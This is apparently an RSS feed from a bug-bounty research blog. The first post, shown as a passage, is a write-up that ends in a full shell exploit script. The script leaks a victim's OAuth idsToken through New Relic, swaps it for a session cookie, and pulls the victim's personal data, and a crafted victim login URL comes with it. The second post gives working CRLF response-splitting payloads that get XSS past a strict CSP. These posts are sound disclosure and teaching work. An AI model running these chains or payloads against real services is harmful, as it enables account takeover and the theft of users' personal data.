<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">application/json, text/plain, */*</span>
<span class="na">sec-ch-ua</span><span class="p">:</span> <span class="s">"Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">sec-ch-ua-mobile</span><span class="p">:</span> <span class="s">?0</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">https://auth.redacted.com</span>
<span class="na">Sec-Fetch-Site</span><span class="p">:</span> <span class="s">cross-site</span>
<span class="na">Sec-Fetch-Mode</span><span class="p">:</span> <span class="s">cors</span>
<span class="na">Sec-Fetch-Dest</span><span class="p">:</span> <span class="s">empty</span>
<span class="na">Sec-Fetch-Storage-Access</span><span class="p">:</span> <span class="s">none</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">https://auth.redacted.com/</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate, br, zstd</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.9</span>

<span class="p">{</span><span class="nl">"idsToken"</span><span class="p">:</span><span class="s2">"273h8N3KpHbiRBV8ew7cp4CSDI4.*AAJTSQACMTAAAlNLABxPRjFqb3RYMkRPTDRXdkhwb0FNS2FVVVIrV3c9AAR0eXBlAANDVFMAAlMxAAIwMQ..*"</span><span class="p">,</span><span class="nl">"responseType"</span><span class="p">:</span><span class="s2">"code"</span><span class="p">,</span><span class="nl">"clientId"</span><span class="p">:</span><span class="s2">"clientIdFinancial"</span><span class="p">,</span><span class="nl">"scope"</span><span class="p">:</span><span class="s2">"openid iid uci profile card.account"</span><span class="p">,</span><span class="nl">"redirectUri"</span><span class="p">:</span><span class="s2">"https://acc-data.redacted.com/auth/callback"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>and the response from New Relic came back:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 
Connection: close
Content-Length: 63
content-type: text/json; charset=utf-8
nr-rate-limited: allowed
access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS
access-control-allow-credentials: true
access-control-allow-origin: https://auth.redacted.com
x-served-by: cache-ewr-kewr1740024-EWR
date: Thu, 02 Oct 2025 21:06:10 GMT

{"success":true, "uuid":"57aa1df8-0001-bf20-8b48-0199a6bf2d7c"}

</code></pre></div></div>

<p>When I saw this, I was thrilled because I remembered this line of the docs:</p>
<blockquote>
  <p>All successful submissions receive a 200 response, regardless of any data errors that may exist within the payload. The response includes a uuid, which is a unique ID created for each request. The uuid also appears in any error events created for the request.</p>
</blockquote>

<p>Further down in <a href="https://docs.newrelic.com/docs/data-apis/ingest-apis/event-api/introduction-event-api/">that documentation</a> we see a way to query malformed data being passed into New Relic:</p>
<blockquote>
  <p>The NrIntegrationError event allows you to query and set alerts on custom data being sent to your New Relic account. Recommendation: To get alerts for parsing errors, create a NRQL alert condition for NrIntegrationError. Use this example NRQL query:</p>
  <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">message</span> <span class="k">FROM</span> <span class="n">NrIntegrationError</span> <span class="k">WHERE</span> <span class="n">newRelicFeature</span> <span class="o">=</span> <span class="s1">'Event API'</span> <span class="k">AND</span> <span class="n">category</span> <span class="o">=</span> <span class="s1">'EventApiException'</span>
</code></pre></div>  </div>
</blockquote>

<p>After reading the docs thoroughly, I identified the following query which would allow me to retrieve the first 100 characters of the JSON data submited through this endpoint:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">payloadSample</span> <span class="k">FROM</span> <span class="n">NrIntegrationError</span> <span class="k">LIMIT</span> <span class="mi">1</span>
</code></pre></div></div>
<p>Which would return something like:
<img width="1717" height="297" alt="NewRelicPic1" src="https://gist.github.com/user-attachments/assets/bcb7521d-3c59-4da8-b1e7-bb4d5c92d905" /></p>

<p>and this would return the data leaked via the POST request.</p>

<p>Unfortunately, the API only returns the first 100 characters of the payload. When I saw this, I was gutted, because the <code class="language-plaintext highlighter-rouge">idsToken</code> used to swap for the OAuth code was very long.</p>

<p>However, this was one of those perfect “stars align” scenarios. 3 characters before the New Relic cut off, the rest of the string becomes predictable. As a result, I was still able to exploit this by appending:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>R0eXBlAANDVFMAAlMxAAIwMw..*
</code></pre></div></div>
<p>or</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>R0eXBlAANDVFMAAlMxAAIwMQ..*
</code></pre></div></div>

<p>This completed the leak chain. However, to swap this token for the true Oauth Code, I still needed the matching <code class="language-plaintext highlighter-rouge">w82S5XX1</code> cookie which was set when this <code class="language-plaintext highlighter-rouge">IdsToken</code> was generated. Luckily for me, this was impromperly implemented and any <code class="language-plaintext highlighter-rouge">w82S5XX1</code> code would work, so by simply hitting:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"[1] Fetching w82S5XX1..."</span>
<span class="nv">w8</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="s2">"https://auth-data.redacted.com/submit"</span>  <span class="nt">-i</span> | <span class="nb">grep </span>w82 | <span class="nb">cut</span> <span class="nt">-f</span> 2 <span class="nt">-d</span> <span class="s2">"="</span> | <span class="nb">cut</span> <span class="nt">-f</span> 1 <span class="nt">-d</span> <span class="s2">";"</span><span class="si">)</span>
<span class="nb">echo</span> <span class="s2">"Got w82S5XX1: </span><span class="nv">$w8</span><span class="s2">"</span>
</code></pre></div></div>
<p>I was able to retrieve a <code class="language-plaintext highlighter-rouge">w82S5XX1</code> token which could be redeemed with the <code class="language-plaintext highlighter-rouge">idsToken</code> to get the coveted session token.</p>

<p>Here is the final exploit:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/usr/bin/zsh</span>

<span class="nb">echo</span> <span class="s2">"[1] Fetching w82S5XX1..."</span>
<span class="nv">w8</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="s2">"https://auth-data.redacted.com/submit"</span>  <span class="nt">-i</span> | <span class="nb">grep </span>w82 | <span class="nb">cut</span> <span class="nt">-f</span> 2 <span class="nt">-d</span> <span class="s2">"="</span> | <span class="nb">cut</span> <span class="nt">-f</span> 1 <span class="nt">-d</span> <span class="s2">";"</span><span class="si">)</span>
<span class="nb">echo</span> <span class="s2">"Got w82S5XX1: </span><span class="nv">$w8</span><span class="s2">"</span>

<span class="nb">echo</span> <span class="s2">"[2] Fetching latest leaked token..."</span>
<span class="nv">token</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nt">-X</span> POST <span class="s1">'https://api.eu.newrelic.com/graphql'</span> <span class="se">\</span>
     <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
     <span class="nt">-H</span> <span class="s1">'Api-Key: NRAK-SEX1I026RXXXXXXXXXXXXXXXX'</span> <span class="se">\</span>
     <span class="nt">--data-raw</span> <span class="s1">'{"query":"{ actor { account(id: 1337) { nrql(query: \"SELECT payloadSample FROM NrIntegrationError LIMIT 1\") { results } } } }"}'</span> |
	 <span class="nb">cut</span> <span class="nt">-f</span> 17 <span class="nt">-d</span> <span class="s1">'"'</span><span class="si">)</span>


<span class="nb">echo</span> <span class="s2">"Got Token: </span><span class="k">${</span><span class="nv">token</span><span class="k">}</span><span class="s2">R0eXBlAANDVFMAAlMxAAIwMw..*"</span>
<span class="nb">echo</span> <span class="s2">"Appending R0eXBlAANDVFMAAlMxAAIwMw..* to token1 and R0eXBlAANDVFMAAlMxAAIwMQ..* to token2"</span>
<span class="nv">token1</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"</span><span class="k">${</span><span class="nv">token</span><span class="k">}</span><span class="s2">R0eXBlAANDVFMAAlMxAAIwMw..*"</span><span class="si">)</span>
<span class="nv">token2</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"</span><span class="k">${</span><span class="nv">token</span><span class="k">}</span><span class="s2">R0eXBlAANDVFMAAlMxAAIwMQ..*"</span><span class="si">)</span>

<span class="nb">echo</span> <span class="s2">"[3] Fetching oauth code..."</span>
<span class="nv">codetoken1</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nt">-k</span> <span class="s1">$'https://acc-data.redacted.com/web-authorize'</span> <span class="nt">-X</span> <span class="s1">$'POST'</span> <span class="nt">-H</span> <span class="s1">$'Host: acc-data.redacted.com'</span> <span class="nt">-H</span> <span class="s1">$'Connection: keep-alive'</span> <span class="nt">-H</span> <span class="s1">$'Content-Length: 298'</span> <span class="nt">-H</span> <span class="s1">$'sec-ch-ua-platform: "Windows"'</span> <span class="nt">-H</span> <span class="s1">$'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36'</span> <span class="nt">-H</span> <span class="s1">$'Accept: application/json, text/plain, */*'</span> <span class="nt">-H</span> <span class="s1">$'sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"'</span> <span class="nt">-H</span> <span class="s1">$'Content-Type: application/json'</span> <span class="nt">-H</span> <span class="s1">$'sec-ch-ua-mobile: ?0'</span> <span class="nt">-H</span> <span class="s1">$'Origin: https://auth.redacted.com'</span> <span class="nt">-H</span> <span class="s1">$'Sec-Fetch-Site: same-site'</span> <span class="nt">-H</span> <span class="s1">$'Sec-Fetch-Mode: cors'</span> <span class="nt">-H</span> <span class="s1">$'Sec-Fetch-Dest: empty'</span> <span class="nt">-H</span> <span class="s1">$'Referer: https://auth.redacted.com/'</span> <span class="nt">-H</span> <span class="s1">$'Accept-Encoding: gzip, deflate, br, zstd'</span> <span class="nt">-H</span> <span class="s1">$'Accept-Language: en-US,en;q=0.9,ja;q=0.8'</span> <span class="nt">--data</span> <span class="s1">'{"idsToken":"'</span><span class="nv">$token1</span><span class="s1">'","responseType":"code","clientId":"clientID","scope":"openid iid uci profile card.account","redirectUri":"https://acc-data.redacted.com/auth/callback"}'</span> | <span class="nb">cut</span> <span class="nt">-f</span> 4 <span class="nt">-d</span> <span class="s1">'"'</span><span class="si">)</span>
<span class="k">if</span> <span class="o">[[</span> <span class="nv">$codetoken1</span> <span class="o">==</span> <span class="k">*</span><span class="s2">"code="</span><span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
	</span><span class="nb">echo</span> <span class="s2">"Got code on first try, no need for token2..."</span>
    <span class="nv">codeurl</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$codetoken1</span><span class="s2">"</span><span class="si">)</span>
<span class="k">else
	</span><span class="nb">echo</span> <span class="s2">"Didn't get token on first try, let's try token2..."</span>
	<span class="nv">codetoken2</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nt">-k</span> <span class="s1">$'https://acc-data.redacted.com/web-authorize'</span> <span class="nt">-X</span> <span class="s1">$'POST'</span> <span class="nt">-H</span> <span class="s1">$'Host: acc-data.redacted.com'</span> <span class="nt">-H</span> <span class="s1">$'Connection: keep-alive'</span> <span class="nt">-H</span> <span class="s1">$'Content-Length: 298'</span> <span class="nt">-H</span> <span class="s1">$'sec-ch-ua-platform: "Windows"'</span> <span class="nt">-H</span> <span class="s1">$'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36'</span> <span class="nt">-H</span> <span class="s1">$'Accept: application/json, text/plain, */*'</span> <span class="nt">-H</span> <span class="s1">$'sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"'</span> <span class="nt">-H</span> <span class="s1">$'Content-Type: application/json'</span> <span class="nt">-H</span> <span class="s1">$'sec-ch-ua-mobile: ?0'</span> <span class="nt">-H</span> <span class="s1">$'Origin: https://auth.redacted.com'</span> <span class="nt">-H</span> <span class="s1">$'Sec-Fetch-Site: same-site'</span> <span class="nt">-H</span> <span class="s1">$'Sec-Fetch-Mode: cors'</span> <span class="nt">-H</span> <span class="s1">$'Sec-Fetch-Dest: empty'</span> <span class="nt">-H</span> <span class="s1">$'Referer: https://auth.redacted.com/'</span> <span class="nt">-H</span> <span class="s1">$'Accept-Encoding: gzip, deflate, br, zstd'</span> <span class="nt">-H</span> <span class="s1">$'Accept-Language: en-US,en;q=0.9,ja;q=0.8'</span> <span class="nt">--data</span> <span class="s1">'{"idsToken":"'</span><span class="nv">$token2</span><span class="s1">'","responseType":"code","clientId":"clientId","scope":"openid iid uci profile card.account","redirectUri":"https://acc-data.redacted.com/auth/callback"}'</span> | <span class="nb">cut</span> <span class="nt">-f</span> 4 <span class="nt">-d</span> <span class="s1">'"'</span><span class="si">)</span>
	<span class="nv">codeurl</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$codetoken2</span><span class="s2">"</span><span class="si">)</span>
<span class="k">fi

if</span> <span class="o">[[</span> <span class="o">!</span> <span class="nv">$codeurl</span> <span class="o">==</span> <span class="k">*</span><span class="s2">"code="</span><span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
	</span><span class="nb">echo</span> <span class="s2">"Failed to fetch code..."</span>
	<span class="nb">exit </span>0
<span class="k">fi
</span><span class="nb">echo</span> <span class="s2">"Got oauth code: </span><span class="nv">$codeurl</span><span class="s2">"</span>

<span class="nb">echo</span> <span class="s2">"[4] Fetching session cookie..."</span>
<span class="nv">cookie</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nv">$codeurl</span> <span class="nt">-H</span> <span class="s2">"Cookie: w82S5XX1=</span><span class="nv">$w8</span><span class="s2">"</span> | <span class="nb">grep</span> <span class="s2">"cid="</span> | <span class="nb">cut</span> <span class="nt">-f</span> 2 <span class="nt">-d</span> <span class="s2">"="</span> | <span class="nb">cut</span> <span class="nt">-f</span> 1 <span class="nt">-d</span> <span class="s2">";"</span><span class="si">)</span>
<span class="nb">echo</span> <span class="s2">"Got session cookie: cid=</span><span class="nv">$cookie</span><span class="s2">"</span>

<span class="nb">echo</span> <span class="s2">"[5] Exfiltrating PII..."</span>
curl <span class="nt">-s</span> <span class="nt">-H</span> <span class="s2">"Origin: https://creditcard.redacted.com"</span> https://acc-data.redacted.com/profile <span class="nt">-H</span> <span class="s2">"Cookie: cid=</span><span class="nv">$cookie</span><span class="s2">"</span> | jq <span class="nb">.</span>

</code></pre></div></div>

<p>This exploit is used in conjunction with this URL:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://auth.redacted.com/login?realm=%2Fcustomers&amp;goto=https://bam.eu01.nr-data.net%2Fv1%2Faccounts%2F1337%2FeventsApi-Key%3Deu01xxREDACTEDFNRAL%26%3Fresponse_type%3Dcode%26client_id%3DclientIdFinancial%26redirect_uri%3Dhttps%3A%2F%2Facc-data.redacted.com%2Fauth%2Fcallback%26scope%3Dopenid%2520iid%2520uci%2520profile%2520card.account&amp;channel=channelredacted&amp;successMessage=false
</code></pre></div></div>

<p>When a victim visits the above URL and logs in, it will:</p>
<ol>
  <li>Leak the victim’s <code class="language-plaintext highlighter-rouge">idTokens</code> to <code class="language-plaintext highlighter-rouge">bam.eu01.nr-data.net</code></li>
</ol>

<p>Then, the attacker (running <code class="language-plaintext highlighter-rouge">zsh ./exploit.sh</code>):</p>
<ol>
  <li>Retrieves the <code class="language-plaintext highlighter-rouge">idTokens</code> from New Relic via the NRQL API</li>
  <li>Appends the possible endings</li>
  <li>Fetches the valid <code class="language-plaintext highlighter-rouge">w82S5XX1</code></li>
  <li>Trades the <code class="language-plaintext highlighter-rouge">w82S5XX1</code> and <code class="language-plaintext highlighter-rouge">idTokens</code> for a session cookie (retrying if needed with token2)</li>
  <li>Retrieves the victim’s PII</li>
</ol>

<p>GG.</p>

<p>There is always a way. Keep looking deeper.</p>

<p>-Rhynorater</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>CRLF Injection Nested Response Splitting CSP Gadget</title>
      <link>https://lab.ctbb.show/research/crlf-injection-nested-response-splitting-csp-gadget</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/crlf-injection-nested-response-splitting-csp-gadget</guid>
      <pubDate>Wed, 15 Oct 2025 00:00:00 +0000</pubDate>
      <author>Tang Cheuk Hei</author>
      <description>If you can do CRLF injection in the response header, most likely you can also do response resplitting to achieve reflected XSS. Even if a strict CSP is in place, you could bypass it by using response splitting as a CSP gadget. I coined this trick as &quot;Nested Response Splitting&quot;!</description>
      <content:encoded><![CDATA[<p>If you can do CRLF injection in the response header, most likely you can also inject 2 CRLF (Carriage Return <code class="language-plaintext highlighter-rouge">\r</code>, Line Feed <code class="language-plaintext highlighter-rouge">\n</code>) characters. If so, it is very likely that you can achieve reflected XSS by injecting HTML code into the response body data. Even if a strict CSP (Content Security Policy) is in place and <code class="language-plaintext highlighter-rouge">script-src</code> directive is set to <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy#self"><code class="language-plaintext highlighter-rouge">'self'</code></a>, it is possible to bypass the CSP by using response splitting as a CSP gadget. I coined this trick as “Nested Response Splitting”:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>default-src 'none'; script-src 'self';
</code></pre></div></div>

<p>In the following example web application, it allows users to view static files and able to control the <code class="language-plaintext highlighter-rouge">Content-Type</code> of the file using GET parameter <code class="language-plaintext highlighter-rouge">type</code>. The value of parameter <code class="language-plaintext highlighter-rouge">type</code> is not validated or sanitized, which is vulnerable to CRLF injection:</p>

<p><img src="/research/articles/ArticleNo0005/image1.png" alt="" /></p>

<p><img src="/research/articles/ArticleNo0005/image2.png" alt="" /></p>

<p><img src="/research/articles/ArticleNo0005/image3.png" alt="" /></p>

<blockquote>
  <p>Note: The source code of the web application can be seen in “<a href="#appendix-1-example-web-applications-source-code">Appendix 1</a>”.</p>
</blockquote>

<p>However, if we do response splitting and inject a <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tag, the CSP will block its execution, because directive <code class="language-plaintext highlighter-rouge">script-src</code>’s source is set to <code class="language-plaintext highlighter-rouge">'self'</code>, which means only sources that are from the same origin can be loaded. The directive also doesn’t have source <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy#unsafe-inline"><code class="language-plaintext highlighter-rouge">'unsafe-inline'</code></a>.</p>

<p>Inline script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/static/css/main.css?type=text/html%0d%0a%0d%0a%3Cscript%3Ealert(origin)%3C/script%3E
</code></pre></div></div>

<p><img src="/research/articles/ArticleNo0005/image4.png" alt="" /></p>

<p>Load external script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/static/css/main.css?type=text/html%0d%0a%0d%0a%3Cscript%20src=%22http://example.com/foo.js%22%3E%3C/script%3E
</code></pre></div></div>

<p><img src="/research/articles/ArticleNo0005/image5.png" alt="" /></p>

<p>If we try to use the response splitting as a CSP gadget (Nested response splitting), we’ll get invalid JavaScript syntax because of the original response body data:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/static/css/main.css?type=text/html%0d%0a%0d%0a%3Cscript+src=%22/static/css/main.css%3ftype%3dtext/javascript%250d%250a%250d%250aalert(origin)%22%3E%3C/script%3E
</code></pre></div></div>

<p>Injected response body data:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"/static/css/main.css?type=text/javascript%0d%0a%0d%0aalert(origin)"</span><span class="nt">&gt;&lt;/script&gt;</span>
</code></pre></div></div>

<p><img src="/research/articles/ArticleNo0005/image6.png" alt="" /></p>

<p>Fortunately, we can truncate the invalid syntax with different tricks!</p>

<h2 id="missing-content-length-response-header">Missing Content-Length Response Header</h2>

<p>If, for some reason, the response header doesn’t have <code class="language-plaintext highlighter-rouge">Content-Length</code> header, we can simply inject it into the response:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/static/css/main.css?type=text/html%0d%0a%0d%0a%3Cscript+src=%22/static/css/main.css?type=text/javascript%250d%250aContent-Length:%252013%250d%250a%250d%250aalert(origin)%22%3E%3C/script%3E
</code></pre></div></div>

<p>Nested response splitting’s response:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.0</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Content-Security-Policy</span><span class="p">:</span> <span class="s">default-src 'none'; script-src 'self';</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/javascript</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">13</span>

<span class="nx">alert</span><span class="p">(</span><span class="nx">origin</span><span class="p">)</span>
</code></pre></div></div>

<p><img src="/research/articles/ArticleNo0005/image7.png" alt="" /></p>

<p><img src="/research/articles/ArticleNo0005/image8.png" alt="" /></p>

<h2 id="able-to-control-content-length-response-header-very-rare">Able to Control Content-Length Response Header (Very Rare)</h2>

<p>If response header <code class="language-plaintext highlighter-rouge">Content-Length</code> is in above of injection point and its value can be controlled, (<a href="#appendix-2-code-snippet-for-controlling-content-length-response-headers-value">Appendix 2</a>), we can just change its value to the length of our JavaScript payload:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/static/markdown/example.md?type=text/html%0d%0a%0d%0a%3Cscript+src=%22/static/css/main.css?type=text/javascript%250d%250a%250d%250aalert(origin)%26length=13%22%3E%3C/script%3E
</code></pre></div></div>

<p>Injected response body data:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"/static/css/main.css?type=text/javascript%0d%0a%0d%0aalert(origin)&amp;length=13"</span><span class="nt">&gt;&lt;/script&gt;</span>
</code></pre></div></div>

<h2 id="http11-trick-transfer-encoding-with-chunked-encoding">HTTP/1.1 Trick: Transfer-Encoding With chunked Encoding</h2>

<p>If the web application or server uses <strong>HTTP/1.1</strong> (<a href="#appendix-3-code-snippet-for-transfer-encoding-trick-in-http11">Appendix 3</a>), we can override the <code class="language-plaintext highlighter-rouge">Content-Length</code> response header by injecting <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> header with <code class="language-plaintext highlighter-rouge">chunked</code> encoding.</p>

<blockquote>
  <p>Note: For more information about <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> header with <code class="language-plaintext highlighter-rouge">chunked</code> encoding, you could read <a href="https://portswigger.net/web-security/request-smuggling#how-do-http-request-smuggling-vulnerabilities-arise">this PortSwigger web security academy about request smuggling</a>.</p>
</blockquote>

<p>As per the <a href="https://www.rfc-editor.org/rfc/rfc9112#section-6.1-14">HTTP/1.1 specification</a>, response header <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> will override <code class="language-plaintext highlighter-rouge">Content-Length</code> header:</p>
<blockquote>
  <p>Early implementations of Transfer-Encoding would occasionally send both a chunked transfer coding for message framing and an estimated Content-Length header field for use by progress bars. <strong>This is why Transfer-Encoding is defined as overriding Content-Length, as opposed to them being mutually incompatible.</strong></p>

  <p>[…]</p>

  <p>A server MAY reject a request that contains both Content-Length and Transfer-Encoding <strong>or process such a request in accordance with the Transfer-Encoding alone.</strong></p>
</blockquote>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/static/markdown/example.md?type=text/html%0d%0a%0d%0a%3Cscript+src=%22/static/css/main.css?type=text/javascript%250d%250aTransfer-Encoding%3a%2520chunked%250d%250a%250d%250ad%250d%250aalert(origin)%250d%250a0%250d%250a%250d%250a%22%3E%3C/script%3E
</code></pre></div></div>

<p>Nested response splitting’s response:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Content-Security-Policy</span><span class="p">:</span> <span class="s">default-src 'none'; script-src 'self';</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">180</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/javascript</span>
<span class="na">Transfer-Encoding</span><span class="p">:</span> <span class="s">chunked</span>

<span class="nx">d</span>
<span class="nx">alert</span><span class="p">(</span><span class="nx">origin</span><span class="p">)</span>
<span class="mi">0</span>

<span class="o">&lt;</span><span class="nx">junk_text_here</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>In here, the first chunk will be <code class="language-plaintext highlighter-rouge">alert(origin)</code> with the length of <code class="language-plaintext highlighter-rouge">0xd</code> (13 in decimal). After that, we terminate the rest of the response data with <code class="language-plaintext highlighter-rouge">0x0</code> length chunk.</p>

<p>Browser parsed response:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Content-Security-Policy</span><span class="p">:</span> <span class="s">default-src 'none'; script-src 'self';</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">13</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/javascript</span>

<span class="nx">alert</span><span class="p">(</span><span class="nx">origin</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="fixed-content-length-response-header-value-the-most-generic-approach">Fixed Content-Length Response Header Value (The Most Generic Approach)</h2>

<p>In most cases, the <code class="language-plaintext highlighter-rouge">Content-Length</code> header’s value is calculated based on <strong>the length of the original response body data</strong>. In the example web application (<a href="#appendix-4-code-snippet-for-fixed-content-length-response-header-value">Appendix 4</a>), static route <code class="language-plaintext highlighter-rouge">/static/markdown/example.md</code> will return <code class="language-plaintext highlighter-rouge">Content-Length</code> value <code class="language-plaintext highlighter-rouge">180</code>, because the Markdown code is <code class="language-plaintext highlighter-rouge">180</code> characters long.</p>

<p>Therefore, we can leverage the fixed <code class="language-plaintext highlighter-rouge">Content-Length</code> value to truncate the invalid JavaScript syntax by appending junk text, so that the length of the injected response body is greater than the fixed <code class="language-plaintext highlighter-rouge">Content-Length</code> value:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/static/markdown/example.md?type=text/html%0d%0a%0d%0a%3Cscript+src=%22/static/css/main.css%3ftype%3dtext/javascript%250d%250a%250d%250aalert(origin)//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%22%3E%3C/script%3E
</code></pre></div></div>

<ul>
  <li>Route <code class="language-plaintext highlighter-rouge">/static/markdown/example.md</code> fixed <code class="language-plaintext highlighter-rouge">Content-Length</code> value: <code class="language-plaintext highlighter-rouge">180</code></li>
  <li>Route <code class="language-plaintext highlighter-rouge">/static/css/main.css</code> fixed <code class="language-plaintext highlighter-rouge">Content-Length</code> value: <code class="language-plaintext highlighter-rouge">98</code></li>
</ul>

<p>Injected response body data: (Append <code class="language-plaintext highlighter-rouge">98 - 15 = 83</code> junk text)</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"/static/css/main.css?type=text/javascript%0d%0a%0d%0aalert(origin)//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span class="nt">&gt;&lt;/script&gt;</span>
</code></pre></div></div>

<p>Nested response splitting’s response:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.0</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Content-Security-Policy</span><span class="p">:</span> <span class="s">default-src 'none'; script-src 'self';</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">98</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/javascript</span>

<span class="nx">alert</span><span class="p">(</span><span class="nx">origin</span><span class="p">)</span><span class="c1">//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span>
</code></pre></div></div>

<h3 id="extra-append-response-headers-only">Extra: Append Response Headers Only</h3>

<p>In the case of you can’t really inject 2 CRLF characters to perform response splitting, you could try to inject additional response headers. Below is some headers that may be useful. (<em>Not tested</em>)</p>

<ul>
  <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy"><code class="language-plaintext highlighter-rouge">Referrer-Policy</code></a>: Leak <code class="language-plaintext highlighter-rouge">Referer</code> request header with value <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy#unsafe-url_2"><code class="language-plaintext highlighter-rouge">unsafe-url</code></a>. Maybe useful for leaking OAuth token or sensitive data in the URL</li>
